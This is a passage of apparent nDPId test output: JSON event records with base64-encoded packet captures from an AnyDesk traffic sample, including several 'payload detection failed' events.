kgk05nMr3iVW9+bvTu7ZsEvDxaLuy5CHByjjEtFQJmxrUGrDxr0HZqz9WCZcz7HcpnqIXJqZOqEkd4tKqRdCkWEqPjZZDfsBOGZL2wSU1Kp87Usttu97caDUkCE3to0+bOYwmt8vIAzSdHsnakry5F02yStW90\/7WzLV+4bqRNejMKAjmofDTdUzrC24L6UJu0S6fkpHxjC3NXDinw89Ritsbgxcfh3TpeRZZqQnBLiycYN23kXOxzqHVfi\/hrM+EXlByfppfltpfZdCv0OXG0MINA6YJ9Xjtm3IVH2UObbQF2v+QA\/6GZc9IWDIDVACdi11nQlon4nz\/B7JArT0nsl9TAKfa78NY4rF1rqmDrp1k1EJ4rMsqG8RbP4IWSM2DcYqK27Txuya\/CsyNC5yGZmQTpXXqez0lmK20eua8NPAeGb47SEdLdasbHGZi9\/QcrdLEuBfdlPka+6om30wGohqbotJj113Pdi2jvwC95mbe3yOsMCzaXP7Iy9mbgN4ncjXB1fJIkauWe0LnQ1QH0QgKWuY9cGNHIXDKkkv54vezO+TdUzuXQrnoRdKQb6zUvRINkygAFQtOID3yAECAoOmLyuLZO8bNqAFI+RF1+UTf61DAAWvfDAS4btKVOuoXdAa\/KIjt9FAlGB6A61lRikR7Iq\/m32NazNV7pGNQ7EG1ZF5BiQI7sHs5JrPo5MuPxSh12f12EPNCOtPt4gfA92mgMDYo+DmgA+S6wxE6DBetw8orVyE2kR2jJ6EMQtYtCHnTMOo4OeCBYC9wwzrg02e0A4xek+HdMaVMIVc7JenYDn6gGQHC7HNvp3vnpeknrOGf\/yn4sucLh6BrraYsL0CU+BeKzR+lz0oFsw5c4Wr5M1WRfnBtZDuQmPHCZoM9fEvzIzXWA6IvnlwAr1syhFl3vbiKTBXQ7VSqgHf7nVhiRO76e3VnqWq2oL1jTFj4VGFrX4iIRZJOoES8NGrre9TpBgohaw1v0A8JRUmMsaqLXTQQyHRIDtF4b2OBDAv6aHVTOqEajsJBzECjpsaOdl0x7esymnpexhzLgLvKsfEwX2aBacIhbBAPAFOiPSQqPdvopsD3ScOLasCcC5e7JKgyZZK3BjrfbX3pF0XWpBP1fuPXn5BXEZfoclbQfmuwPZkw105zLPjOYpZheyrAvK8Se2j3coD05dGe\/aiJrzaBoUrBlm9OdUlPz5\/hyQ6VzmsVwkOT72Gt5Bfm2llCrBs19XejaISZGIwbCeVv19MImHK3hQX8CC1N3HIK\/gjW3d+KnuHzTmBRvx6gw+SKLI7OZno\/V0k+NBqEpnKRFHtCv1Umohdq0Hqga\/WfmFt5sJegVMprzDgL6TSTeW7huIbAgbwIe1fmZSpfQRLtsetxDFKefUTw1zjyQQc0TlI\/Pr\/xphQWqpDv3Dg1BjwHEDaW8jIY59h1XqiRwjX6XWs5jXrYQ8LmqsjsDY1gRTmmDHuBAZC6GCd6ZiQx2\/6KFwYwsJ99NJi\/ZuwauOfRLQFmm32XHbOnCYEXcyI71jEkJFYEBt1zENVFQTjE4gp26Y+XmOLW3J8i7tusRqiK6\/0sAYABjsxmAwtL\/R5ZKVDixUdJRQj34xMSP26u3IDMeOyO03DWZV8GGLGsohMbH6d7d90IrfGb61kJrKvaejvPzJCxx\/jfxnE8IPe2mBNt6OWOvCu+Re6e+wHpmy5jYP36b1RgDXO6ne\/YBG\/9Op4b+WQw506Z+JCv0jhZNDt\/GZ2FoCDvIDvK47iwABZjG4SLj52aTkfMTJy0Zu73uaOwbrFz+49EOhKvnGXjwCbxBWnMs7A5eIn6i+NqXGphafpQ5gzu2LZToS5yerJCT8J8Sezysikb0eAbn97Q\/zI4JW+gQCoDRYTACI0MIMqoU5P6uuTg6Kb0gw460+BJIzbMbwR6KBy\/Dugvdj1qgeeAmWrtey2\/31Eg4xq4pyWOxRoKA\/4n9EJwou9CEVDhUnJVBpVGuyIKj9xT81i9\/tDATwkG+11EkeSXbsMqM7g\/1cPJJ3Nir61k1t8FJaSdCra+NXkQ0nJwJfyAtU4lvj0fb1CgWcTWBBdY3rBqp6ltvmzyUL1f9dIb22xm9FsrvQYRrJ1kgn8g88A\/hcH3DktD7OowgbfF5q\/dE6vvinm6l0bRN7P6qNI0oZqIB\/BahDsV3YShdreNs4A8JsceDBMhvZdx600VIpZikMg90EGej0qC6ailjfKrfho4BW7rmXk9ZSSOH3ei7jElAhcF0Y+2O9127jymzggus5f\/y\/tbcnoMlFKekwjXG7V1euxztVJlH6iAqxcTNhhFJyiQ0JSIrcnD8MEUHc9RwFTXkfPgq7H6PFd0zpKdDG3JRPMkBka5gqt6Jn9FqZzu9dHbi230yPjZduhaYG0LD3vnoVNa0wC8H1olR81CDITJiJjbZo5u2AvDDHwvfTG9X21dXzh+oJXroDUjuJJ9wWU3x9J5QzzueGgD5bciLmIu0n2\/qGvutaKzFqquFsg82GW7iQalWn\/Tm96rrWoJtGJsf+VWhSjE90l3Rh3FA2Fjw7y23qhBQdYhJQ2p8eab1Pq0bbwscmI7wv\/plfT\/sx+ahX+0MRxbQh9s9cjcSj2FAfpAqFtHfndK6IbFKECfoB4GiS+geN7Pmf6zc7vjZ2\/l2iWqXNaoO6WFUy6zxEAhYQjceLuBd6+fqd0dEVV0EplOXRDIqoemKkGP9ysKiJ6HVlGpvxutjJif0mGcNrCM2+4T3QhPGOusx1WXqbxr9srootbDuIMNQiRkJyQ7W3Gj69IMiFNv6utBZ+iIbTpndNcFT+elyiALVZ4FU\/HLu\/MN8w8q5WoZFGu4ELr7m+Ioiac0\/q3mhNmtIqv3ERo4W9szR3BJ45+oHuoGLlDH\/ZSi5hkZIZnGlQAPdOJM7KYUosdxv\/XN1P3pEZsnWWEvxvgYNw2cMxjij1Ib7lSKvTao7DzVtQMARWEN2MURIBnktS3ZVWdrfAHSY\/Pgfu\/7OFE8efccUdxDIti8T9iqefAdrtQqcZnwR4UASj\/\/DBMhyK02VxBpFsAdr5dVwt2gRk\/LN5xNEIoqEL5bq7Mwa1v8JTY4cANGBeG0CA7NODHPQrk5jsfYnErutgm5A\/Q0iYDDTcRYjgaITi0GL+qpsRpInSIMOJwpkqS56YgQInNzcbmp47B9uzqWo1K4ZCxdzAnM28qKufMDFYbfIqr\/E7JEbyhHXiJWvfe29OeAyyJzZogpEPjwJWXC++8vx3wUpmeKNoTx6RMHBe07dcDX9ZgUAMyn9qjWgZqjNfCtFtMNgFyNb+UjamjYVFdcZ93tiKSiHX8V7PaYlwU7W3NhVlce3QH43A3WXI8TA\/RmVp74xIDi6j9Kir+0xcSFPa3nGdQ0sY0eF+Ffi2N932te4OHAT2nK3L39ieYxPi+jGPT\/B27X3C++bn9U3LqI4SEqEqxV4c5tplmf+EwSXHftzMRPme3H+YqKHJRKin13YolozrDEd8\/gHFuOLU1WWxEsdKjKXOe8nZbfXDXSkJqCUDcnIZAVmVlRCx5deXWszp1J78rxIWrH43lhcXvrfp5PqEQnRktnJBuVggb5QsrXsGz1zP3XAF8tZwpKeGh14DGTaYoAOtG8hcDXYIQJ4C1d7rteJMRGzfCvmRoGfBMm5kHszs+EvbzEok8VP21P60YlGA1JGJyiEK9KuiDQtd4YQnCRD8dRVTYmCxNR8VFFQsbAFUC5R7XEzCIrfLtQcyDfcI1d36fLHcRHj54OQkb8DKVO\/kYo\/8F7SBj383bQCSakdt\/x3M7vK8BzsDVZsbFfs+tW\/6IQfnVqHz6EEM+icTZN\/O5KYqnjoUhJYd4WU3EQ8jlYcZ0xT6837uIEBj8OB4t5JeqU2Cwbyn+B8EYQwqSUfleCbtoiS88mHmpVv\/FIioOVBGlG3InlK7HXawMQCiywul1p0oyNLfrj1ew1jPuL7WbW7IOIwQiIUo+MRDqGNDK\/B5IKI+EXeaTiW90wwhodBOJOlVvtdH8Q10dLJLRuh9U7QoERma+3McLFko7Qh1RlovKcikTiIaMg\/ezTkKPYi87+O\/17eLPryLs05RbPq4t2lgmI58p39CIbXks7p+wUzJkZTHlrqTEPnk\/8IlXLsBXIKRQv+\/RMshURZPvtT9tGdfOhlxocB0qvRxqYA21VHjerjMk7FWH\/cl9xx7K1k+j29fvnwZYgo0qbD613k9xK81miIUItzD8fGtzAeDhp96zn958GIiYM7ugmpgnl7CPfvW2+Eb7m6qozPiCkKy2B3g3YFTWsFbclx4U4YdvZs5ax+y\/SI8L\/aFZTGNZil5TNxqF1iFG4L+y+TM2m62PE7nUU9TLbRzGyhaH42oyfqaqVk\/Uhut0VZKq6u9QQMEjL9X\/OXWBBoVV6LquWwyUKu\/hHJq1t4dpImgPMD4ZKJF\/pCrUZCx8I7KIv2752Q+w\/sVoCgEoGA+tbsPKHwwyEduWZCumFxgBuT5lTS6AMSPDusEB0ClAzeEJtU8CIZLuia74OwnJCAyJEZeKuFqUBJl6ZAMFsJBHDgPNeRHfZvxJS2VN5Uuaja1JEx9qmKfthRRMt0P9I1H88gAI7uaaz\/zOkcJIS4jPRXzQ2V2eoQhvEZmJ\/lV9xbBDTCyTMvA\/IE38lOkOg3fPN06RZijDSBhNDeeDHc4maBhX2wiCmdTItfwDFu+Fjp1nrmwwv3m13JbZAJtO5zRds8PH8c4OV7UySJH+WSXDOnuUi6Lcm3N24QM53bm5mqtFYwwDtcP1UWdGgnh7b6vUVPk6I7TwT90RL9AKgEpgVUESQot9c8jJ02PY1vGd5kax7aMCDyrDbCTZduMRZB6\/3ItPiQrKbiGjE2XlJeXu1Q0eKvMDLoR3Xafw8cuX+4\/jf9VuTpilLHaM5rMLiO8b0RHX80OfqYc\/9HSG6oIAx\/1pNgO0IEHpyQgKxI+I\/07RFbp3Cybd8odBkUHE03mxfHaubwMchwTafsY\/007aJgE\/spLBxtmgL0YniqNy\/MnCmn5uSI48TFxpclsZ7LMpioRK6ZarzOhI8L7t5nwIV\/pCr4Ocfiadyq\/+9xpqsndMZadZuYRtXtVvJrC\/\/waECY3Gus9XUuDh2jEraLwxR+2aX5A3G6hhm91WE+tfpso2qiY58OJvxnoQJ5xjTI0c+vN\/YMR\/qYinMrPLQSHRT\/hHxdr5x95qJ\/TxG9p0vaERnQpwIvDQ3JjF7NkzlwamXOIsAfHfOUiL6+P9MbSdHIKxjZxblEAabtozkyU0hPDpZTU5KTsc\/CHCXmJ72OgpbK84P\/cqYE3nf\/iKghA6ZGVyY+VxMu60f+2ZdHVBFT559qc8SjaW1D5C1Wsf58mL9xMmXiu5\/BdF8iIoM9wstj+Hu0lYek7B5wfNZrHnubN\/tN6g7mTZYrHIs3WYlKcRui8jSvVWRYQaqgcqO2qZi3zyPCxgUO+GmbpocopYQAnSQsqoOBqZgvpe1qcCfXWaZ30klKZG94lgcCamo2QyATdAayV0zRtj92zMKzcTHz9fg4bftfemcBPzOy0gkWSU31cWYwkp8bUq6IQwlO8SWKyRDYR5rQs4B9RlZaYMH72qWpavMCV\/zH4J9hYEsP2XOAnYuwrZEFYWTMJE3opFfr4Wk6NYYeiCsROsENrhtA3BSPAQinMpTseAaXO7yv053hw\/qmQ\/7fi31NJZR4r5jXQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":887,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +04016{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":891,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":235485,"pkt_caplen":2746,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2746,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAefVAAIAGAADAqAG7wKgBstOUG56PH20RWcQlo1AYIBGExAAAFwMDCn9Z4hNO+msVa+6\/CeGjFdHRlMMiX5Vv8cLVPTdwwilcfdrzl4tKfg1J+TA+8dwIxnsV30b8alKNxmrJCKYyTUVmRCrOcqcj29Lkz+Doi8ke8OE9dP0r6v6hapk8c5cSD5PcG8Kw40rM6Xc+AiHw4jwF8VbqRMx\/gZv+9OjTfC\/rG9hJ7GbMOfA41gfPvu26n5iUZgHPRoK7Jtp6WL7EYwzxqiVcYcRJFgi0isrJ0atuWYaVSYoZVvl86eqliF6jYIlLyqETmtvfYGEYc\/mSjPLK3t3CTiuVlDEYpFqTq07atb8z0s5SuBGzHAteuGV8mvg5YB2gkIXdowghFsOJrdlgZQN1eLK9xzfumi2S0D9a88WFRF968b3XztQa384fIZnZffPhwUo3YMk4smi\/AOmf6LbWPkopxEZblSSH01X8LUPHdtvsC2OYoeH9NUCjHRdwGOhtqJHF6ssdxI5m7nzVF824atb+B6YtoAoQWKhToQcRbQeH8BDmkwMGGyW54AMn5XgwNn3tdtdW72WCl0BI5j2sEhLspGe+9YAFHmFkL4uB2xeHUCoPpTcLAqlvBSvDyDaOw2garaFDUXNOofK1jf78HzCpI4dzokuhLS5dQwjfjKHISPWXHwEdIHziF2W34ttnkpS0ETY4s8j3Kd68TFdBxbRa8o8EAzJryaNe2+R58+9MiEc89ZgzQWeZsMC73rlcnaUrPqB5ARZkAE3maYUZd3j0KjFPbT74ET\/iD8NfoGT+oMyp4XomZpndyz\/22cSbtF8zMzFF3E5iwNEJtJ8EICROEJQl2JwrLE2T62e94cgE4t52tN0Aoft5pVvT9VL\/FmD3yaH9xINoOQ\/24gTwYB4DwTgO1QyOkWt6C7ijXaqOrvORGFm1IY5lTlhdZrif9lDb2nwyUhXyIUXsQFBJmlTqCSHgjXgo7Iy+OvqlIPReBlZj0HQzlc6FwlPwp1HvH5ITJpXWFopboONcsxFYEE65AdjWsCqTwXHHqPTxWBSPW2nNyHUTx5F5D+spYedcqMVNo9sBvBBWFa9cAIth30RfHVfUYK\/JF+GLr\/RRtw0guMvBfQNy\/13SxuWM4RznO03NhhiSmuZmzb8ew0aTA88pHpUAg+cQAN2KNqBBTiGeXI61mQsoAkkJosBZlh+Uc9hDXMQllr32tYMH6EI3zVLq0aDTgvNJT+xodjHXu\/1BewFBrdz4MR9NLLfUc2eZRhmiBdCBaSwbP\/fc7WN39ueAnLdvYRRZIVEfUQmm7wIEO5xU+FmQAZKe4hTrzH67+EZdBSRajCBjJuENO3WAAKzf5BnTY8myjMoyUDY6EEaJrjdZRdn88DXREBRc8DLM0tCFyPZPNe8UDlP2MMmRHTFxNTo2rzpJuQZUI9ww+FZ6838NZjecowjlcyxYqo6cIVNP+3CtXf7MYYWwxcC4MJa5M81XER7w1vQQqH1YQJtllbajVV\/TiuSIDz3GtMlYIYRvjuZv2NNnehU1sHSDIJYHpCQo6qdz7\/eWmHDnDh50VJSUXKcr7jtr6dzf78asO4RNrUKNqLHK4YfVU0VfjPytLSALc6TZ8ty1zxSKCqoNqLKVHHucetpGJd4Z4CSlxIrjG2RaccKHVeKkdqJwARjdTvv63nRrLsR2Fd0nUXnt+m7yDvFOSflqh6oGPYCnzT1KRW121NKbFFKPCFpb47UQh1nBJ3sCFQrTZ0\/cKXmOX9\/qBz+5nDg87xfwiUP2Eo2PBLpWIjtsBh8w3QkzfRBFDsy+X6TTw\/TufwyzfA\/yBTNVGhKOcyEyZxvrpJW9OSxorFIXDwP\/e0n7ZjK5xVHh\/Rq5H565IscBPwueqmaV0oiAbbT1CYV3HNtSaHa7R+PO5yMGOidy1MfmtIpZjQ3o6++ieKYxDnWDOCT+Vb8wu2wqNPkLM2HuhJTgZVNOa7SOlJKxQOQaOJ1Ol75\/2SbwwdN2k3U7fjs2Lfbnz6TLgEAGaa6FQOS+XnW04baVbc6m1EcOytwcVtLs8AlSCQf1PYzdTS+uIGCGi2DQeDDFnjTFe+\/K2Vr8nE1vQQeWNB0F4o3mhadO9u6IhibvmUk5g9PvQT6ltkpyn2CRovkTzLAx8fvXvpsd4ftx+iRJQNIFTbqNDlg0GboeEtEAEylXo4U8TT6g5J3Z4O482nymb3Xg\/8FPzfceSgoomzp1GI7oYCmY\/f2yq9+mnRpaiNc8Qx9zdYhuBx\/5N+ixfDfiregZme6LircXpzeSvpZK4K+o+aYWd7FpYUsOoZcmgRO4xRuLOaUBMd9lR91SQfmVARAtopeOLvxnCgIDj+BAabiJS3Giux1gY6wCIyh65WBajVO1D6kZ6jSqDOJD\/KeAkbtdUFi1MzGgOA5UpaP7ViuEwPYxulbAvvWJYfXjgPHv1+3mIURmufy6k9ZfYxt5s+s3QV6iH1l7Ty551K1nCZ8PxRSabHa8CuEoXWymHs+hUpNtQ27RAzU99Etz+mvCJRD5+Ltq+zMIXn5ZTtgGmJXcsNithSRZQTz4KCZrlqebI5y6FKuv\/kJazLwZvgLhZj57SHAhyCPeLpF7ihRIVEQ633WKhlB\/lp09JSvbsETFq2m47w7f8Qy5sqljGxI1Jyn1TM8l0Rai\/dJZ0Su8yH5pJTneT+x1JzpxqpjKXkLFgwgq6mjzGA81ykNIEy8LGm6w\/CIm6g+OEUAdh\/n2wSOd8wYH7vRpE0KzHQ9aQg60BxxR9iGKuVrWXyiyiyeZ3+ptLOT0aiAOrRLQ9L5ICrE1sAreqAEYEe+xDUsVCsFMUTAd4yFFyCNbeHuOrN2g+nMe\/SBO4BlvjHWqVzdPyC15dPqcIwGfbpQ4\/wG0MliqbZRRiMeBkE3oCnDkyXCWDbm\/vha6kOyASEDGeb4MVVjXxNeOnQOTk6nv3ucfjkwLsWTntTUBni3\/HrFwxIuHBWtaS8IwVB0ozI1zottXbnpeYqkxOh6UVu3+LJl1hCe5iInOeZsZplwC+Xw\/czBKPalQqZ6FXE7HfxHFe\/40nlT4AOAZUyVOYi7G+aeCUuhoTrfQxHimNyiDM5h5OuM0YTHdUj92y4kGGz4wgqkKz8Hv0ursyuElf\/KHzCE3lW904ctoJY9uZHDSFmLwv82Li3dj1LvW5\/+AcSu6XCgRoxKEhC7qM8bHBqcWlAYTFrM3x5GJ8e5TvM\/wRA6wzsME8CbyJxZUW0+IWcJxd3PSDgLFi4Qrsdsuh4bQJVGte4XvCmlAFo2jOA0e8cwmFyeTSVilG\/XnMVD0Ybl5cwhioVclqff83pQCyrlA80t\/CyyqBKn1xhtNcQXwi06W7x2TDkKbJYDkaH\/CCl+WD66tSb3ivTDNw5BGhpdIolo46CSb\/3455hdsKdLafvkn3csCaulAwFBBtZlK0BdS2Ju4Ru76\/l4jEZ062cviUOQmosTzc2kjKCaDeVhflMumPIC1goGTG0kA4eTKKWnTfkTjuNoELaH71eeyXuPY3smvPRgSLq\/UQwGffGEMR4lEl7Yfu5jAx5OBiEq+DzQAuJXROdHno4pGmbOLJi3SP8gKwcYhTjHmGvE23vkdjpDhpsTU1uBAnvoDicOp1Q=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":891,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2712} +06273{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":902,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":259703,"pkt_caplen":4411,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4411,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeiVAAIAGAADAqAG7wKgBstOUG56PH30HWcQl0lAYIBGExAAAFwMDEQBZ4hNO+msVbZfdSBW5+HfaXu5cGRo++jv9NDguO6XPrzjWhrhL3myeJNoBh6J1D51rVY+ySMsS+08QMC9Ir9e6aTXhuoqbbNTkeI2UJV8prGJBqLTa7GFF8pOXz9OEBq2gB5xrKdunfcD1PiGVYhwCDhWmgv8Rc4\/WUXePciDVCBTF2vhpcy79ZkPjVnMGzhP9gXzGGzL+5OknBSM3WfADatUVxCzB4farJU075\/XQ\/5OWVVMKHi4HC+B2JIfU7FY3S+BbD6U7zSrL1cKW8H2szTGSNZvVY4x6EvJvp96Vm+eUcDoRb62u\/r9TkM8fnE6YEo9PKjZ0Uw\/ZKK1nU9yiD6wEmQHySDE43vwOdAYXETUzDbbd7ENNGq+4sPULWVBN0tykmrfB4AZgMl+Hrvz7FzFaou\/Ydbaf4wIJWlzCU\/aU9ueY9rfbx2tzEZs82P0kNmw26oPItvgyLJn2p9lJBpzqKJq9ik1HoyTdJWrQ59Qciw7p6mZY4DCKcazeqD9mQoakVyvPU72VjakG600tKij3FbQ0gkOtdDluBZbwF41eP2TRsw+D5NH8fD9G\/hwS1+NpfrXrmv\/3VBQgcO0Q1u\/TRsba+7URG3HEiCpMUwwWBeEkIv6GgdgPsriNfn\/YpD7gbZaeuISMIJp+GwXqv5axLghE3JEl2YHavQP1w3AzKW5HVSh0Hz\/AmRXv1M2Zr+T4GEti6izdyUJ7BVsXMrhNy+0het9+hwHsIONL0XxSZnz0aSQPwDrUD1+7qw\/iQAMMM+67LwOmehBvxzuDFQNfHapQNhS+PBYC6YL3krlwZBv08mM6FaSxSmUY6WcoTE+PzC3+IGXIvAj\/VzypS5xDMHAIA7Vn0Wn7MyZI945N0tTGghaz1YXsvDly+Mm8oErdZQqTF2yr8uRoi\/z1LAGctwHkUuy5NJ\/hrmD\/ArZW+aq3PRO4MvxMvM0JCCqs4HYzC+ahOM3IyF8\/WiPSluflN11LAOtXSJkRke13ouORLXBH80z6AR+ShJDqgkUimPDYjatJY8dkxHtysT98s7ygCkXFjdDZBLiQMdam1BFJrBkk50Y2E+e0VqaB\/quY3q1MGDl9tNCFLQvEpFsYdRJAQSnl3qNunMBmFdtGeOBOnvSVp058ouHjlgQL4AMuZdOuevL0AglHsnzgWV9UW95Qo8zBHYWK6PoQ\/3Wi9oa6R5Xnve4\/BBMT2lZMEVVID8T7WXyulLykDPgO14wh0e+AJweQoFyjt4mB0aSgqSQ1eeIWqeZQAG6ZtC4QFwICTTYztnrr9LgTGskD29iTXeNm\/Iz6fbAmoSbLOnDY0+1+sF\/mFYH7jkBCz\/Dg45APB5f736nZ6\/t7HEUFBgYa\/YhtZ5IWywQfBis94r1OUTzR\/2elKW9VZOsFiGryxEYwhUO8rYtJp9jHub2+OJkLUJgKQZEsVmKJej5Y9\/FBqn8n0klVMmPjRuX3F7sGGyJH\/iFGrYYn2mngjnzWbdF8no0zzR0MM\/3F1zclAnWISgUAVsiMpc6GDtRgwqTmuZy6aWeViivrTEmbvWQczy19UACMxLhaXXeegdj0s9krRN47tH41R8RNCQRYG4s2yQfzN9Dx3UWIGxlUJ01964qBY8B5GGZV5i0TnOq38RjRTbHvaHO7hWL4QjU0BcOh\/xW10r0KuE2\/ZK+n\/82j0ZYMJLwZxVdnsKXsfP\/v8ySiNMWT4C2rB3xcRY2Ixf68sW6csg3DiPTVOds0agPmqZ0zOuhxEDYPfzRjfLv7SavbaTNoT2RkwXvOzp\/Icr97HnmhYdkhRw8L6O\/mio+I\/N3Fxb5NUdZqzaWfha2fZvgtHuc8JH\/sZHWBXWmX+lHyoTXQSaSAG3c+UC04caYdU2GQResKE7DIK5Ab7Jxm7dGxKxdAH7xbZeqNnJp3uFlIowgNDQ8MpAQ7O\/6tci0ruDs3EcOQOc\/DyWYbPYqqgyLItA6bdpWLhf6Nj56R6GlM6tZqZwnBQO4S2tt+aZKkVEJw8LYuzeTiSYMpxqQ0geO1D64QjB9P455xdCSVLMh0b6KzgoyBYitxzqFjMi+WIPCdrpYfDzXXwUVqoQQXcmXIwi8C7yU8QF8maCPEwHt+KkUMAc8Q1V0gkNA1GJ4mW4MX\/g2428qeEVL4\/+Nak2MV\/hGaP+9M6MnQr9CQwA7HlfDFHrsEBYl52GgUHG3pE8jhQV3hzXHKhBKp4FqE+B3XeryQAOQcgf8hIWaj+zARW+QrTzaT2wCgXCM4LIfDS4ySELIAmU6OoadglMeUZXskioN8bVTKz9zUJAdH4oWYrhG4oCJBs5FROVnXRxTDlBtyRzW6uPWXZO10xeq4m42l67kTcBFqTNnhQAB4+MEVjpvIxj0m0sk60A7qDyjhq8TWuUAgzR+eopvQqBTmJHdScVUX6Qt8XAPCr2hOLzMVpAi8RZRX1SgogAluyu7g6eRleoSmd918VZ\/8uap\/BVsHPWxLXT3WKWF23OvV7pTSQjFppNplp4aiu6CDExiGkjs8gTmqy8gbdxILDTj1LZQRLsZiwVbo8e9IORgqasIwl0LV9XnaRI9bRrnL0rgGuAferck718\/7zLqG8q\/o4\/dyUylLPFbt4y3uSUFDi8hTfqAYJdW+eUAqh7O6r5tsZhfps7AYGz0+1h+e8P7EMeEZrC2n\/9JRtOIalFHSkdJS0q+2tiHJOypxXrad2eou8J2PfBNlMrBt1UBkutxZcxApj0aHaud8Ch3hYH51pSiLHjFJ+KYqOI2eTnAwsjNL3bLl9RKtA1D8nV1NYeapC5O4hhhvKDGdlWWOT58zRg2d0SqTcGhyBQKbTQ4WxKpdLrc2Fp49TfBL6zM7uTci+T9jGhAD4CuepfYVNmDklhEsBX+BLW9ExUXswChNF90jXgoyjuVDiYMXYkB9r6eZCbGd1SWBRfDaR3BWA6aT78NUblyX90pLBU8DhoPNUzieUwEEDshjmSrkHX\/qrZJWWFgRNRWIDg2Ta40JEeO5m\/sNfwK+IcvnRDJQSNQ2d6VHGl4L8KXTL45QJA7CAj5JrKFHXCJ0FzRZBEF6cGIZo2P1gk39Wp6e6lm9L+Y5U\/4PGHkt\/CAiFYnmQ9HMO2p2Lja1SmtgViqyOmOiWTHML+wgcuISaoaFJdnuriBW8CRIUu6rT5RFrC+vhv5KzWvPdg14YoH5CDNGxax9YLBP08QDLv3bmReooyyKnb6DRv1aoBekOFLWyPcm\/dA9F6QO8nNTtCjTqAhPpsKwFyORSNQK1YQvqoOYtkJDBiyTrALjNTEmg6CKa547pHe36HB6PN5Vqfu9I0EHPT9HGFX3DTfHbczdOVe\/shQetjg0\/u7ndlZ1bz+l7a8xeZojEE3hPB92vJJmtgTcR30GSvotbtBtsml9TjMTKfJkOTxNQGu\/xzw1dChWZCMOHXTScF8QfIaAfdQ5rn8tgyQHkISwRDo6vbIdqOJZoDinJvVlGzDmeKWEiUMj1hnRJqnldtiHRz0nnS2XEnWhmy9B7ohvXBDsrRFDLLab9+nKf7lpwapzEDapL757gt2zZQcjt7\/OqwwUG36envBJFt4+m2GzK93F9s44SbLXjhSHbVt94R4qXjavcUlvfpgQV0UqiD4GQWpZgXQvJ42r+q3R2Yy0Vwgjer3ak9E+eU9Oz+As12fJf0yH6ghnrZtZc8XitC\/gZPDryyqHTlbxcLYGef83Wjlup20i6IP1H1HLuQ9KsdYyd7vURfy4LdwVz+qpv80kdTvzFnOHZVOZTa8+m3eqmG8sxMfi10GXWUgrDdrcX5xrOZdIhL\/se8LucW6TE+k9X8zf5oZ2ezO9V805L7XBxbTO250aPbi0lgY5dJbPRlOUfpQK+aUgOd\/MJjWgXYoCslVfgk8r7XMREDVj+s7+IGnIW9sBmG4EToysHFZbYzO1DiYZFIqJhYOWbT93EApz1JlZnIqrFjmqWkHfPMOtmoXAmV\/JTQJYnaLo+pQOTHVj0qvaXNHWXpoa7FxntQokuZxesHOem5IjU9wgk2+YDjD+e7BmtihKVBuZTbK2k5x9+EBPAvEX\/I1At+9M6d9SeInaUG1m7H90WNcwiKvMAbhhO5\/enVupHwAPU0S1XVe1s4\/tm24rD+sHNydVrE9ee0BS4wKgt5LUECyy8nBcxUL4Fh8BR55HpQt2Yi3stxj1fl4CvJQKGyScGdgQo\/2fYJKSFVD5096SUGP+JaXzRhIcNws9FN+LrWyetFWuldek2EpdMW\/g0+u0KiMmuy+\/ecLvfUKQ0HANZTUUBLbilB9Z\/+gWh42sQbjzLwjJLmbc7HO5eJaQGwCduG1eOghX4RMASJfcL1JP1\/NVBW\/s+yDxgflzDQowVh1N0iSHV98wKaVdtsCQ+ngCU0i0+tU\/4wYqTlesATFpGnFWyxBhquCYNn0sTPMtlREYMf730cF8D+QBgzMhrZmfFyzNZyMgpvtLy80JCnyX4K4rE6cArytGuEPsCgS5n36Mi0+pPK+\/I4cAykwjvNzEncu2ZwO6e8EQi0wdO4BZCZTIoXVFNrY3CCiymRBbs6hrknGMkki0lWdAjPT8\/GZ4tKeCy9D4jFFsYgrDVuF7APLcGCJdfWCSc155LJ0rIrVN1NR4OeTqFsdMczA34tzRo1Qm9aumzmuoczd5iBucq7+XUXRXWAdGR77MjsWck2oGAGmo9hgmrGzpBGN7fj9EFyxdsM11nifDY2DC9nMrrmYKb6uoYHXd6kW4pRlvEBhm9jqG0mlvSjPQjC1DeWBVFqmFWOBdc6ziGiE1niSv8xEG2zU8xKUMxGz5ArKWB3ONn4O8swonBdtRp3u1VkgXs59QX79PjZOCKfGEcGMasYHF5gOfpUH30cTN0rkgBEdazJ31+DqeeY7sysJZ94qmzWwqeQo5CRIwedFMctyUA63V52wg1uVYpcpvF9198iNQjD3pRtimErFDE\/6foznsiYJeBwKXoMRGSXZ\/rlp6MLQMvlKQpXK2OaQaFHsAlj+Qb3Or6pUf5wA5vavkKB3gy8sAnGGnKbKq0HliIgSyuWdunVjJtj7I9XN6SKDXH725hq+rQKd6Q8j2QTJPYVdrhdNhxtKLamztH\/MQGY8em+pbOqvNpt1z\/vCTHwBqPeT2Z0jXxac1u2pyet1+uE5QP0bC0eOj67RoZji9hUE96EgxdSGhPXobycjGl7stZcSec7AvF1NwyfdXNXLYoggejjA2rbLJMYVBXfAcUgGXjowwN1JE2WOcBwaJTt7l32dWek1RpJARknOl2GxpHtWc+lsicZJGaqRLhxxAHF+UjIAkupo2NMwMWWoHfKEb79u1feZcDW7gyLpnlh74jr93zs91UmzPuDpryLH0aNQkiGoEUCpg8sbY40psc1fkAr8ES2iu8i4NRN2nKbuiW\/z2AsAjXmED\/1XTGkuAPjt3Buhjmx5wiRUyznv2kRa8SH88dkkLyY69ZlSs41juIo0IS77WRf+d1St0WesfY0bY04UOpFgeYXVzCs7mFj5UqbnoVlYs52dkL+fMk4pZpHL7h+JbCNPPduB4kzC9uQGLV4XJR\/oniR6gNI